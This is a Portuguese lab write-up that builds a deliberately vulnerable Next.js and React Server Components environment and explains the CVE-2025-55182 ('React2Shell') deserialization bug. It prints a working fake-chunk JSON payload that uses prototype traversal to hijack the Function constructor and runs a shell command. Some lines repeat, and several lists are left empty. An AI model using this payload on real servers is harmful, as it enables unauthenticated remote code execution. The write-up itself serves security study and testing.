
também conhecido como React2Shell
As seções exigidas pelas diretrizes da tarefa estão marcadas com “(Obrigatório)”.
Este ambiente usa um Dockerfile personalizado baseado na imagem oficial Node.js Alpine.
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --legacy-peer-deps
COPY . .
EXPOSE 3000
CMD ["npm", "run", "dev"]
O Dockerfile cria um ambiente vulnerável de React Server Components (RSC) e Next.js App Router.
O ambiente instala versões vulneráveis de:
O servidor vulnerável roda em modo de desenvolvimento usando npm run dev.
O servidor vulnerável roda em modo de desenvolvimento usando npm run dev.
O ambiente opera usando a seguinte estrutura:
[Attacker / exploit.py]
↓
[Next.js App Router]
↓
[React Flight Protocol Parser]
↓
[React Server Components Runtime]
↓
[Node.js Runtime]
O atacante envia uma requisição multipart/form-data especialmente elaborada para a aplicação Next.js vulnerável.
O payload malicioso abusa do processo de desserialização do protocolo React Flight.
A aplicação vulnerável usa a arquitetura Next.js App Router.
A requisição é processada através do pipeline de React Server Components.
O código-fonte da aplicação está armazenado dentro do diretório src/app/.
src/
└── app/
├── layout.js
└── page.js
O arquivo layout.js define o layout raiz necessário para a estrutura do App Router e inicializa o ambiente de React Server Components.
export default function RootLayout({ children }) {
return (<html><body>{children}</body></html>);
}
O arquivo page.js define a página raiz renderizada em / e exibe uma mensagem simples indicando que o servidor vulnerável está em execução.
export default function Page() {
return (<h1>Vulnerable Server</h1>);
}
As dependências do projeto e os scripts de execução são gerenciados por meio do arquivo package.json.
{
"name": "cve-2025-55182-vuln-app",
"version": "1.0.0",
"private": true,
"scripts": {
"dev": "next dev -p 3000"
},
"dependencies": {
"next": "15.0.0",
"react": "19.0.0-rc-65a56d0e-20241020",
"react-dom": "19.0.0-rc-65a56d0e-20241020",
"react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
}
}
Este arquivo define versões vulneráveis de:
A aplicação vulnerável é executada usando:
"scripts": {
"dev": "next dev"
}
O servidor é iniciado por meio de:
npm run dev
que inicia o servidor de desenvolvimento Next.js vulnerável na porta 3000.
O protocolo Flight desserializa objetos React complexos, como:
A vulnerabilidade ocorre durante esse processo de desserialização.
O runtime do React processa payloads Flight controlados pelo atacante.
A travessia insegura de propriedades e o acesso ao protótipo eventualmente permitem que atacantes sequestrem o construtor de Function.
Após a exploração bem-sucedida, código JavaScript arbitrário é executado dentro do ambiente de servidor Node.js.
Isso leva à Execução Remota de Código (RCE).
| Component | Version |
|---|---|
| Node.js | 20-alpine |
| Next.js | 15.0.0 |
| React | 19.0.0-rc |
| react-dom | 19.0.0-rc |
| react-server-dom-webpack | 19.0.0-rc |
O ambiente usa implementações vulneráveis de React Server Components e do protocolo Flight.
O CVE-2025-55182, também conhecido como React2Shell, é uma vulnerabilidade crítica de Execução Remota de Código (RCE) que afeta React Server Components e o protocolo React Flight.
A vulnerabilidade ocorre durante o processo de desserialização de payloads do protocolo Flight controlados pelo atacante.
O problema permite que atacantes:
A vulnerabilidade é particularmente perigosa porque a exploração pode ocorrer sem autenticação usando uma única requisição HTTP elaborada.
Aplicações que usam configurações vulneráveis de React Server Components e Next.js App Router estão diretamente expostas.
A causa raiz da vulnerabilidade é o tratamento inseguro de referências de objetos controladas pelo atacante durante a desserialização do protocolo Flight.
O React Flight usa internamente strings de referência especiais, como:
$@0
$B1337
$1:__proto__:then
Essas referências são resolvidas recursivamente durante a desserialização.
A lógica vulnerável realiza travessia de propriedades semelhante a:
value[path[i]]
sem validar se a propriedade pertence ao próprio objeto.
Como resultado, os atacantes podem acessar propriedades perigosas da cadeia de protótipos do JavaScript, como:
__proto__
constructor
prototype
Isso eventualmente permite poluição de protótipo e sequestro do construtor de Function.
O atacante primeiro cria um objeto de chunk React falso.
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "touch /tmp/success.txt",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
O campo crítico é:
"status": "resolved_model"
O runtime do React confia incorretamente nesse campo e trata o objeto controlado pelo atacante como um objeto de chunk interno legítimo.
O payload:
$1:__proto__:then
faz com que o desserializador atravesse a cadeia de protótipos do JavaScript.
Como o código vulnerável não valida propriedades perigosas, o atacante obtém acesso a:
Chunk.prototype.then
Isso transforma o chunk falso em um objeto thenable.
O payload:
$1:constructor:constructor
em última análise, resolve para:
Function
Isso substitui:
response._formData.get
pelo construtor global de Function do JavaScript.
Como resultado:
Function(attacker_controlled_payload)
se torna possível.
O payload:
$B1337
força o parser do React Flight a entrar na lógica de análise de Blob.
Durante esse processo:
response._formData.get(...)
é executado.
No entanto, o atacante já substituiu essa função pelo construtor global de Function.
Isso finalmente resulta na execução de JavaScript arbitrário dentro do runtime Node.js.
O processo do exploit ocorre na seguinte ordem:
Attacker Request
↓
Flight Payload Parsing
↓
Fake Chunk Creation
↓
Prototype Pollution
↓
Function Constructor Hijacking
↓
Blob Parsing Trigger
↓
Promise Resolution
↓
Remote Code Execution
O atacante primeiro envia uma requisição Flight multipart elaborada.